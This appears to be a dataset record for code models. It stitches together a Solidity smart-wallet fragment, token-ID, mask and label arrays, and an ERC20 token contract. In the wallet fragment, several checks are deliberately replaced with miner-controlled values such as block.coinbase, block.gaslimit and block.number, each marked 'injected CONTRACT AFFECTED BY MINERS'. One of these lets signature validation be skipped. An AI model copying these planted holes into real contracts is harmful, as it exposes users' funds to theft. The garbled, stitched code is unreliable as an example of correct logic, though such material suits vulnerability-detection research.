(ok && data.length == 32) { balance = abi.decode(data, (uint256)); } else { // Something went wrong with the balance check. balanceCheckWorked = false; } } // Only perform the call to transfer if there is a non-zero balance. if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS if (!suppressRevert) { // Perform the transfer and pass along the returned boolean (or revert). success = token.transfer(recipient, balance); } else { // Attempt transfer with 1/2 gas, allow reverts, and return call status. (success, ) = address(token).call.gas(gasleft() / 2)( abi.encodeWithSelector(token.transfer.selector, recipient, balance) ); } } else { // Skip the transfer and return true as long as the balance check worked. success = balanceCheckWorked; } } /** * @notice Internal function for transferring Ether to a designated recipient. * It will return true and emit an `EthWithdrawal` event if Ether was * successfully transferred - otherwise, it will return false and emit an * `ExternalError` event. * @param recipient address payable The account that will receive the Ether. * @param amount uint256 The amount of Ether to transfer. * @return True if Ether was successfully transferred, else false. */ function _transferETH( address payable recipient, uint256 amount ) internal returns (bool success) { // Attempt to transfer any Ether to caller and emit an event if it fails. (success, ) = recipient.call.gas(_ETH_TRANSFER_GAS).value(amount)(""); if (!success) { emit ExternalError(recipient, _revertReason(18)); } else { emit EthWithdrawal(amount, recipient); } } /** * @notice Internal function for validating supplied gas (if specified), * retrieving the signer's public key from the Dharma Key Registry, deriving * the action ID, validating the provided caller and/or signatures using that * action ID, and incrementing the nonce. This function serves as the * entrypoint for all protected "actions" on the smart wallet, and is the only * area where these functions should revert (other than due to out-of-gas * errors, which can be guarded against by supplying a minimum action gas * requirement). * @param action uint8 The type of action, designated by it's index. Valid * actions in V8 include Cancel (0), SetUserSigningKey (1), Generic (2), * GenericAtomicBatch (3), DAIWithdrawal (10), USDCWithdrawal (5), * ETHWithdrawal (6), SetEscapeHatch (7), RemoveEscapeHatch (8), and * DisableEscapeHatch (9). * @param arguments bytes ABI-encoded arguments for the action. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return The nonce of the current action (prior to incrementing it). */ function _validateActionAndIncrementNonce( ActionType action, bytes memory arguments, uint256 minimumActionGas, bytes memory userSignature, bytes memory dharmaSignature ) internal returns (bytes32 actionID, uint256 actionNonce) { // Ensure that the current gas exceeds the minimum required action gas. // This prevents griefing attacks where an attacker can invalidate a // signature without providing enough gas for the action to succeed. Also // note that some gas will be spent before this check is reached - supplying // ~30,000 additional gas should suffice when submitting transactions. To // skip this requirement, supply zero for the minimumActionGas argument. if (block.timestamp != 0) { //injected CONTRACT AFFECTED BY MINERS require(gasleft() >= minimumActionGas, _revertReason(19)); } // Get the current nonce for the action to be performed. actionNonce = _nonce; // Get the user signing key that will be used to verify their signature. address userSigningKey = _userSigningKey; // Get the Dharma signing key that will be used to verify their signature. address dharmaSigningKey = _getDharmaSigningKey(); // Determine the actionID - this serves as the signature hash. actionID = _getActionID( action, arguments, actionNonce, minimumActionGas, userSigningKey, dharmaSigningKey ); // Compute the message hash - the hashed, EIP-191-0x45-prefixed action ID. bytes32 messageHash = actionID.toEthSignedMessageHash(); // Actions other than Cancel require both signatures; Cancel only needs one. if (action != ActionType.Cancel) { // Validate user signing key signature unless it is `msg.sender`. if (block.coinbase != userSigningKey) { //injected CONTRACT AFFECTED BY MINERS require( _validateUserSignature( messageHash, action, arguments, userSigningKey, userSignature ), _revertReason(20) ); } // Validate Dharma signing key signature unless it is `msg.sender`. if (block.coinbase != dharmaSigningKey) { //injected CONTRACT AFFECTED BY MINERS require( dharmaSigningKey == messageHash.recover(dharmaSignature), _revertReason(21) ); } } else { // Validate signing key signature unless user or Dharma is `msg.sender`. if (msg.sender != userSigningKey && msg.sender != dharmaSigningKey) { require( dharmaSigningKey == messageHash.recover(dharmaSignature) || _validateUserSignature( messageHash, action, arguments, userSigningKey, userSignature ), _revertReason(22) ); } } // Increment nonce in order to prevent reuse of signatures after the call. _nonce++; } /** * @notice Use all available cTokens to mint the respective dTokens. If any * step in the process fails, the call will revert and prior steps will be * rolled back. Also note that existing underlying tokens are not included as * part of this operation. */ function _migrateCTokenToDToken(AssetType token) internal { CTokenInterface cToken; DTokenInterface dToken; if (token == AssetType.DAI) { cToken = _CDAI; dToken = _DDAI; } else { cToken = _CUSDC; dToken = _DUSDC; } // Get the current cToken balance for this account. uint256 balance = cToken.balanceOf(address(this)); // Only perform the conversion if there is a non-zero balance. if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS // If the allowance is insufficient, set it before depositing. if (block.number < balance) { //injected CONTRACT AFFECTED BY MINERS require(cToken.approve(address(dToken), uint256(-1)), _revertReason(23)); } // Deposit the new balance on the Dharma Token. require(dToken.mintViaCToken(balance) > 0, _revertReason(24)); } } /** * @notice Internal function to determine whether a call to a given dToken * succeeded, and to emit a relevant ExternalError event if it failed. * @param asset uint256 The ID of the asset, either Dai (0) or USDC (1). * @param functionSelector bytes4 The function selector that was called on the * corresponding dToken of the asset type. * @param ok bool A boolean representing whether the call returned or * reverted. * @param data bytes The data provided by the returned or reverted call. * @return True if the interaction was successful, otherwise false. This will * be used to determine if subsequent steps in the action should be attempted * or not, specifically a transfer following a withdrawal. */ function _checkDharmaTokenInteractionAndLogAnyErrors( AssetType asset, bytes4 functionSelector, bool ok, bytes memory data ) internal returns (bool success) { // Log an external error if something went wrong with the attempt. if (ok) { if (block.number == 32) { //injected CONTRACT AFFECTED BY MINERS uint256 amount = abi.decode(data, (uint256)); if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS success = true; } else { // Get called contract address, name of contract, and function name. (address account, string memory name, string memory functionName) = ( _getDharmaTokenDetails(asset, functionSelector) ); emit ExternalError( account, string( abi.encodePacked( name, " gave no tokens calling ", functionName, "." ) ) ); } } else { // Get called contract address, name of contract, and function name. (address account, string memory name, string memory functionName) = ( _getDharmaTokenDetails(asset, functionSelector) ); emit ExternalError( account, string( abi.encodePacked( name, " gave bad data calling ", functionName, "." ) ) ); } } else { // Get called contract address, name of contract, and function name. (address account, string memory name, string memory functionName) = ( _getDharmaTokenDetails(asset, functionSelector) ); // Decode the revert reason in the event one was returned. string memory revertReason = _decodeRevertReason(data); emit ExternalError( account, string( abi.encodePacked( name, " reverted calling ", functionName, ": ", revertReason ) ) ); } } /** * @notice Internal function to diagnose the reason that a call to the USDC * contract failed and to emit a corresponding ExternalError event. USDC can * blacklist accounts and pause the contract, which can both cause a transfer * or approval to fail. * @param functionSelector bytes4 The function selector that was called on the * USDC contract. */ function _diagnoseAndEmitUSDCSpecificError(bytes4 functionSelector) internal { // Determine the name of the function that was called on USDC. string memory functionName; if (functionSelector == _USDC.transfer.selector) { functionName = "transfer"; } else { functionName = "approve"; } USDCV1Interface usdcNaughty = USDCV1Interface(address(_USDC)); // Find out why USDC transfer reverted (it doesn't give revert reasons). if (usdcNaughty.isBlacklisted(address(this))) { emit ExternalError( address(_USDC), string( abi.encodePacked( functionName, " failed - USDC has blacklisted this user." ) ) ); } else { // Note: `else if` breaks coverage. if (usdcNaughty.paused()) { emit ExternalError( address(_USDC), string( abi.encodePacked( functionName, " failed - USDC contract is currently paused." ) ) ); } else { emit ExternalError( address(_USDC), string( abi.encodePacked( "USDC contract reverted on ", functionName, "." ) ) ); } } } /** * @notice Internal function to ensure that protected functions can only be * called from this contract and that they have the appropriate context set. * The self-call context is then cleared. It is used as an additional guard * against reentrancy, especially once generic actions are supported by the * smart wallet in future versions. * @param selfCallContext bytes4 The expected self-call context, equal to the * function selector of the approved calling function. */ function _enforceSelfCallFrom(bytes4 selfCallContext) internal { // Ensure caller is this contract and self-call context is correctly set. require( msg.sender == address(this) && _selfCallContext == selfCallContext, _revertReason(25) ); // Clear the self-call context. delete _selfCallContext; } /** * @notice Internal view function for validating a user's signature. If the * user's signing key does not have contract code, it will be validated via * ecrecover; otherwise, it will be validated using ERC-1271, passing the * message hash that was signed, the action type, and the arguments as data. * @param messageHash bytes32 The message hash that is signed by the user. It * is derived by prefixing (according to EIP-191 0x45) and hashing an actionID * returned from `getCustomActionID`. * @param action uint8 The type of action, designated by it's index. Valid * actions in V8 include Cancel (0), SetUserSigningKey (1), Generic (2), * GenericAtomicBatch (3), DAIWithdrawal (10), USDCWithdrawal (5), * ETHWithdrawal (6), SetEscapeHatch (7), RemoveEscapeHatch (8), and * DisableEscapeHatch (9). * @param arguments bytes ABI-encoded arguments for the action. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. * @return A boolean representing the validity of the supplied user signature. */ function _validateUserSignature( bytes32 messageHash, ActionType action, bytes memory arguments, address userSigningKey, bytes memory userSignature ) internal view returns (bool valid) { if (!userSigningKey.isContract()) { valid = userSigningKey == messageHash.recover(userSignature); } else { bytes memory data = abi.encode(messageHash, action, arguments); valid = ( ERC1271Interface(userSigningKey).isValidSignature( data, userSignature ) == _ERC_1271_MAGIC_VALUE ); } } /** * @notice Internal view function to get the Dharma signing key for the smart * wallet from the Dharma Key Registry. This key can be set for each specific * smart wallet - if none has been set, a global fallback key will be used. * @return The address of the Dharma signing key, or public key corresponding * to the secondary signer. */ function _getDharmaSigningKey() internal view returns ( address dharmaSigningKey ) { dharmaSigningKey = _DHARMA_KEY_REGISTRY.getKey(); } /** * @notice Internal view function that, given an action type and arguments, * will return the action ID or message hash that will need to be prefixed * (according to EIP-191 0x45), hashed, and signed by the key designated by * the Dharma Key Registry in order to construct a valid signature for the * corresponding action. The current nonce will be supplied to this function * when reconstructing an action ID during protected function execution based * on the supplied parameters. * @param action uint8 The type of action, designated by it's index. Valid * actions in V8 include Cancel (0), SetUserSigningKey (1), Generic (2), * GenericAtomicBatch (3), DAIWithdrawal (10), USDCWithdrawal (5), * ETHWithdrawal (6), SetEscapeHatch (7), RemoveEscapeHatch (8), and * DisableEscapeHatch (9). * @param arguments bytes ABI-encoded arguments for the action. * @param nonce uint256 The nonce to use. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param dharmaSigningKey address The address of the secondary key, or public * key corresponding to the secondary signer. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function _getActionID( ActionType action, bytes memory arguments, uint256 nonce, uint256 minimumActionGas, address userSigningKey, address dharmaSigningKey ) internal view returns (bytes32 actionID) { // actionID is constructed according to EIP-191-0x45 to prevent replays. actionID = keccak256( abi.encodePacked( address(this), _DHARMA_SMART_WALLET_VERSION, userSigningKey, dharmaSigningKey, nonce, minimumActionGas, action, arguments ) ); } /** * @notice Internal pure function to get the dToken address, it's name, and * the name of the called function, based on a supplied asset type and * function selector. It is used to help construct ExternalError events. * @param asset uint256 The ID of the asset, either Dai (0) or USDC (1). * @param functionSelector bytes4 The function selector that was called on the * corresponding dToken of the asset type. * @return The dToken address, it's name, and the name of the called function. */ function _getDharmaTokenDetails( AssetType asset, bytes4 functionSelector ) internal pure returns ( address account, string memory name, string memory functionName ) { if (asset == AssetType.DAI) { account = address(_DDAI); name = "Dharma Dai"; } else { account = address(_DUSDC); name = "Dharma USD Coin"; } // Note: since both dTokens have the same interface, just use dDai's. if (functionSelector == _DDAI.mint.selector) { functionName = "mint"; } else { if (functionSelector == ERC20Interface(account).balanceOf.selector) { functionName = "balanceOf"; } else { functionName = string(abi.encodePacked( "redeem", functionSelector == _DDAI.redeem.selector ? "" : "Underlying" )); } } } /** * @notice Internal view function to ensure that a given `to` address provided * as part of a generic action is valid. Calls cannot be performed to accounts * without code or back into the smart wallet itself. Additionally, generic * calls cannot supply the address of the Dharma Escape Hatch registry - the * specific, designated functions must be used in order to make calls into it. * @param to address The address that will be targeted by the generic call. */ function _ensureValidGenericCallTarget(address to) internal view { require(to.isContract(), _revertReason(26)); require(to != address(this), _revertReason(27)); require(to != address(_ESCAPE_HATCH_REGISTRY), _revertReason(28)); } /** * @notice Internal pure function to ensure that a given action type is a * "custom" action type (i.e. is not a generic action type) and to construct * the "arguments" input to an actionID based on that action type. * @param action uint8 The type of action, designated by it's index. Valid * custom actions in V8 include Cancel (0), SetUserSigningKey (1), * DAIWithdrawal (10), USDCWithdrawal (5), ETHWithdrawal (6), * SetEscapeHatch (7), RemoveEscapeHatch (8), and DisableEscapeHatch (9). * @param amount uint256 The amount to withdraw for Withdrawal actions. This * value is ignored for all non-withdrawal action types. * @param recipient address The account to transfer withdrawn funds to or the * new user signing key. This value is ignored for Cancel, RemoveEscapeHatch, * and DisableEscapeHatch action types. * @return A bytes array containing the arguments that will be provided as * a component of the inputs when constructing a custom action ID. */ function _validateCustomActionTypeAndGetArguments( ActionType action, uint256 amount, address recipient ) internal pure returns (bytes memory arguments) { // Ensure that the action type is a valid custom action type. require( action == ActionType.Cancel || action == ActionType.SetUserSigningKey || action == ActionType.DAIWithdrawal || action == ActionType.USDCWithdrawal || action == ActionType.ETHWithdrawal || action == ActionType.SetEscapeHatch || action == ActionType.RemoveEscapeHatch || action == ActionType.DisableEscapeHatch, _revertReason(29) ); // Use action type to determine parameters to include in returned arguments. if ( action == ActionType.Cancel || action == ActionType.RemoveEscapeHatch || action == ActionType.DisableEscapeHatch ) { // Ignore parameters for Cancel, RemoveEscapeHatch, or DisableEscapeHatch. arguments = abi.encode(); } else if ( action == ActionType.SetUserSigningKey || action == ActionType.SetEscapeHatch ) { // Ignore `amount` parameter for other, non-withdrawal actions. arguments = abi.encode(recipient); } else { // Use both `amount` and `recipient` parameters for withdrawals. arguments = abi.encode(amount, recipient); } } function _mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @notice Internal pure function to decode revert reasons. The revert reason * prefix is removed and the remaining string argument is decoded. * @param revertData bytes The raw data supplied alongside the revert. * @return The decoded revert reason string. */ function _decodeRevertReason( bytes memory revertData ) internal pure returns (string memory revertReason) { // Solidity prefixes revert reason with 0x08c379a0 -> Error(string) selector if ( revertData.length > 68 && // prefix (4) + position (32) + length (32) revertData[0] == byte(0x08) && revertData[1] == byte(0xc3) && revertData[2] == byte(0x79) && revertData[3] == byte(0xa0) ) { // Get the revert reason without the prefix from the revert data. bytes memory revertReasonBytes = new bytes(revertData.length - 4); for (uint256 i = 4; i < revertData.length; i++) { revertReasonBytes[i - 4] = revertData[i]; } // Decode the resultant revert reason as a string. revertReason = abi.decode(revertReasonBytes, (string)); } else { // Simply return the default, with no revert reason. revertReason = _revertReason(uint256(-1)); } } /** * @notice Internal pure function call the revert reason helper contract, * supplying a revert "code" and receiving back a revert reason string. * @param code uint256 The code for the revert reason. * @return The revert reason string. */ function _revertReason( uint256 code ) internal pure returns (string memory reason) { reason = _REVERT_REASON_HELPER.reason(code); } }
First attempt to redeem all dDai if there is a balance. Then transfer all Dai to recipient if there is a balance. Attempt to withdraw specified Dai from Dharma Dai before proceeding. At this point Dai transfer should never fail - wrap it just in case.
function _withdrawDaiAtomic( uint256 amount, address recipient if (maxWithdraw) { _withdrawMaxFromDharmaToken(AssetType.DAI); require(_transferMax(_DAI, recipient, false)); success = true; if (_withdrawFromDharmaToken(AssetType.DAI, amount)) { require(_DAI.transfer(recipient, amount)); success = true; } }
985,221
[ 1, 3759, 4395, 358, 283, 24903, 777, 302, 40, 10658, 309, 1915, 353, 279, 11013, 18, 9697, 7412, 777, 463, 10658, 358, 8027, 309, 1915, 353, 279, 11013, 18, 12864, 358, 598, 9446, 1269, 463, 10658, 628, 463, 30250, 2540, 463, 10658, 1865, 11247, 310, 18, 2380, 333, 1634, 463, 10658, 7412, 1410, 5903, 2321, 300, 2193, 518, 2537, 316, 648, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 1918, 9446, 40, 10658, 23102, 12, 203, 565, 2254, 5034, 3844, 16, 203, 565, 1758, 8027, 203, 565, 309, 261, 1896, 1190, 9446, 13, 288, 203, 1377, 389, 1918, 9446, 2747, 1265, 40, 30250, 2540, 1345, 12, 6672, 559, 18, 9793, 45, 1769, 203, 203, 1377, 2583, 24899, 13866, 2747, 24899, 9793, 45, 16, 8027, 16, 629, 10019, 203, 1377, 2216, 273, 638, 31, 203, 1377, 309, 261, 67, 1918, 9446, 1265, 40, 30250, 2540, 1345, 12, 6672, 559, 18, 9793, 45, 16, 3844, 3719, 288, 203, 3639, 2583, 24899, 9793, 45, 18, 13866, 12, 20367, 16, 3844, 10019, 203, 3639, 2216, 273, 638, 31, 203, 1377, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // 22.07.18 //*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ // // Ethertote token contract // // (parts of the token contract // are based on the 'MiniMeToken' - Jordi Baylina) // // Fully ERC20 Compliant token // // Name: Ethertote // Symbol: TOTE // Decimals: 0 // Total supply: 10000000 (10 million tokens) // //*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ // ---------------------------------------------------------------------------- // TokenController contract is called when `_owner` sends ether to the // Ethertote Token contract // ---------------------------------------------------------------------------- contract TokenController { function proxyPayments(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } // ---------------------------------------------------------------------------- // ApproveAndCallFallBack // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } // ---------------------------------------------------------------------------- // The main EthertoteToken contract, the default controller is the msg.sender // that deploys the contract // ---------------------------------------------------------------------------- contract EthertoteToken { // Variables to ensure contract is conforming to ERC220 string public name; uint8 public decimals; string public symbol; uint public _totalSupply; // Addtional variables string public version; address public contractOwner; address public thisContractAddress; address public EthertoteAdminAddress; bool public tokenGenerationLock; // ensure tokens can only be minted once // the controller takes full control of the contract address public controller; // null address which will be assigned as controller for security purposes address public relinquishOwnershipAddress = 0x0000000000000000000000000000000000000000; // Modifier to ensure generateTokens() is only ran once by the constructor modifier onlyController { require( msg.sender == controller ); _; } modifier onlyContract { require( address(this) == thisContractAddress ); _; } modifier EthertoteAdmin { require( msg.sender == EthertoteAdminAddress ); _; } // Checkpoint is the struct that attaches a block number to a // given value, and the block number attached is the one that last changed the // value struct Checkpoint { uint128 fromBlock; uint128 value; } // parentToken will be 0x0 for the token unless cloned EthertoteToken private parentToken; // parentSnapShotBlock is the block number from the Parent Token which will // be 0x0 unless cloned uint private parentSnapShotBlock; // creationBlock is the 'genesis' block number when contract is deployed uint public creationBlock; // balances is the mapping which tracks the balance of each address mapping (address => Checkpoint[]) balances; // allowed is the mapping which tracks any extra transfer rights // as per ERC20 token standards mapping (address => mapping (address => uint256)) allowed; // Checkpoint array tracks the history of the totalSupply of the token Checkpoint[] totalSupplyHistory; // needs to be set to 'true' to allow tokens to be transferred bool public transfersEnabled; // ---------------------------------------------------------------------------- // Constructor function initiated automatically when contract is deployed // ---------------------------------------------------------------------------- constructor() public { controller = msg.sender; EthertoteAdminAddress = msg.sender; tokenGenerationLock = false; // -------------------------------------------------------------------- // set the following values prior to deployment // -------------------------------------------------------------------- name = "Ethertote"; // Set the name symbol = "TOTE"; // Set the symbol decimals = 0; // Set the decimals _totalSupply = 10000000 * 10**uint(decimals); // 10,000,000 tokens version = "Ethertote Token contract - version 1.0"; //--------------------------------------------------------------------- // Additional variables set by the constructor contractOwner = msg.sender; thisContractAddress = address(this); transfersEnabled = true; // allows tokens to be traded creationBlock = block.number; // sets the genesis block // Now call the internal generateTokens function to create the tokens // and send them to owner generateTokens(contractOwner, _totalSupply); // Now that the tokens have been generated, finally reliquish // ownership of the token contract for security purposes controller = relinquishOwnershipAddress; } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface Methods for full compliance // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- // totalSupply // function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } // balanceOf // function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } // allowance // function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // transfer // function transfer(address _to, uint256 _amount ) public returns (bool success) { require(transfersEnabled); // prevent tokens from ever being sent back to the contract address require(_to != address(this) ); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); doTransfer(msg.sender, _to, _amount); return true; } // approve // function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } // transferFrom function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // prevent tokens from ever being sent back to the contract address require(_to != address(this) ); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } // ---------------------------------------------------------------------------- // ERC20 compliant events // ---------------------------------------------------------------------------- event Transfer( address indexed _from, address indexed _to, uint256 _amount ); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); // ---------------------------------------------------------------------------- // once constructor assigns control to 0x0 the contract cannot be changed function changeController(address _newController) onlyController private { controller = _newController; } function doTransfer(address _from, address _to, uint _amount) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself // require((_to != 0) && (_to != address(this))); require(_to != address(this)); // If the amount being transfered is more than the balance of the // account, the transfer throws uint previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint previousBalanceTo = balanceOfAt(_to, block.number); // Check for overflow require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } // ---------------------------------------------------------------------------- // approveAndCall allows users to use their tokens to interact with contracts // in a single function call // msg.sender approves `_spender` to send an `_amount` of tokens on // its behalf, and then a function is triggered in the contract that is // being approved, `_spender`. This allows users to use their tokens to // interact with contracts in one function call instead of two // _spender is the address of the contract able to transfer the tokens // _amount is the amount of tokens to be approved for transfer // return 'true' if the function call was successful // ---------------------------------------------------------------------------- function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } // ---------------------------------------------------------------------------- // Query the balance of an address at a specific block number // ---------------------------------------------------------------------------- function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } // ---------------------------------------------------------------------------- // Queries the total supply of tokens at a specific block number // will return 0 if called before the creationBlock value // ---------------------------------------------------------------------------- function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ( (totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber) ) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } // ---------------------------------------------------------------------------- // The generateTokens function will generate the initial supply of tokens // Can only be called once during the constructor as it has the onlyContract // modifier attached to the function // ---------------------------------------------------------------------------- function generateTokens(address _owner, uint _theTotalSupply) private onlyContract returns (bool) { require(tokenGenerationLock == false); uint curTotalSupply = totalSupply(); require(curTotalSupply + _theTotalSupply >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _totalSupply >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _totalSupply); updateValueAtNow(balances[_owner], previousBalanceTo + _totalSupply); emit Transfer(0, _owner, _totalSupply); tokenGenerationLock = true; return true; } // ---------------------------------------------------------------------------- // Enable tokens transfers to allow tokens to be traded // ---------------------------------------------------------------------------- function enableTransfers(bool _transfersEnabled) private onlyController { transfersEnabled = _transfersEnabled; } // ---------------------------------------------------------------------------- // Internal helper functions // ---------------------------------------------------------------------------- function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } // ---------------------------------------------------------------------------- // function used to update the `balances` map and the `totalSupplyHistory` // ---------------------------------------------------------------------------- function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } // ---------------------------------------------------------------------------- // function to check if address is a contract // ---------------------------------------------------------------------------- function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } // ---------------------------------------------------------------------------- // Helper function to return a min betwen the two uints // ---------------------------------------------------------------------------- function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } // ---------------------------------------------------------------------------- // fallback function: If the contract's controller has not been set to 0, // then the `proxyPayment` method is called which relays the eth and creates // tokens as described in the token controller contract // ---------------------------------------------------------------------------- function () public payable { require(isContract(controller)); require( TokenController(controller).proxyPayments.value(msg.value)(msg.sender) ); } event ClaimedTokens( address indexed _token, address indexed _controller, uint _amount ); // ---------------------------------------------------------------------------- // This method can be used by the controller to extract other tokens accidentally // sent to this contract. // _token is the address of the token contract to recover // can be set to 0 to extract eth // ---------------------------------------------------------------------------- function withdrawOtherTokens(address _token) EthertoteAdmin public { if (_token == 0x0) { controller.transfer(address(this).balance); return; } EthertoteToken token = EthertoteToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } }
---------------------------------------------------------------------------- fallback function: If the contract's controller has not been set to 0, then the `proxyPayment` method is called which relays the eth and creates tokens as described in the token controller contract ----------------------------------------------------------------------------
